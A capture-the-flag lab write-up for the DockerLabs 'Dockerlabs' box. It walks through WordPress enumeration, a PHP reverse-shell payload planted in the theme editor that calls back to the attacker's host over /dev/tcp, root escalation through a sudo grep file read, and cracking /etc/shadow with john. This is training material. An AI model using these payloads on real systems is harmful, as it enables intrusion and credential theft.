Dockerlabs

TL;DR. DockerLabs' namesake box runs a WordPress on Apache. The foothold is a PHP reverse shell placed in WordPress yielding www-data, and the escalation is a sudo right as quiet as it is fatal: grep as root. A sudo grep recursively over root's home reads its files (and with them its password), so su root closes the box. As a bonus, /etc/shadow is dumped and cracked with john. Note: this box's original screenshots are external links no longer reachable, so outputs are described in text and values that lived only in those images are shown as placeholders.

Recon

Initial scan

The port scan leaves a single web service on port 80.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>

PORT   STATE SERVICE
80/tcp open  http

nmap -p80 -sCV <ip> -oN targeted
whatweb http://<ip>

Directory fuzzing

dirsearch and gobuster (including the php extension) find the WordPress install:

dirsearch -u http://<ip>
gobuster dir -w directory-list-2.3-medium.txt -u http://<ip> -x php -t 200

Shell as www-data

With access to the WordPress manager, the usual way to run code is the theme/plugin editor: insert a PHP that opens a direct reverse shell back to the attacker (here 172.17.0.1, port 443):

<?php exec("bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'")?>

With a listener up on 443:

nc -nlvp 443

loading the resource drops a shell as www-data.

Privilege escalation

www-data → root (sudo grep)

www-data can run grep as root without a password:

sudo -l

User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/grep

grep as root is a full-blown arbitrary read (GTFOBins): it can dump the contents of any file only root can access. A recursive run over root's home prints its files (and, with them, the password stored inside):

sudo -u root grep -r "^[a-zA-Z]" root/

With that password, switch to root:

su root

Bonus: dump and crack /etc/shadow

Already as root (or even just with the sudo grep), you can dump /etc/shadow and crack the hash with john to consolidate the credential. Hashes on these boxes are usually yescrypt, which john recognizes with the crypt format:

cat /etc/shadow
john --format=crypt --wordlist=rockyou.txt hash --fork=5

Attack chain

HTTP  ->  gobuster  ->  WordPress
    └─> theme/plugin editor  ->  PHP reverse shell  ->  www-data
            └─> sudo grep as root (GTFOBins)  ->  reads root's password  ->  su root
                    └─> (bonus) dump /etc/shadow + john

Lessons learned

• sudo grep is arbitrary read as root. It looks harmless, but dumping any file (passwords, /etc/shadow, keys) is half the escalation; GTFOBins lists it for a reason.
• The WordPress editor is RCE by design. Whoever controls the panel can write PHP into the active theme; restricting the editor (DISALLOW_FILE_EDIT) cuts this well-worn path.
• Storing passwords in root's home is handing them over. As soon as a vector grants reading those files, the credential leaks with nothing to crack.
• yescrypt is attacked with john --format=crypt. Recognizing the hash algorithm is the difference between a crack that progresses and one that never starts.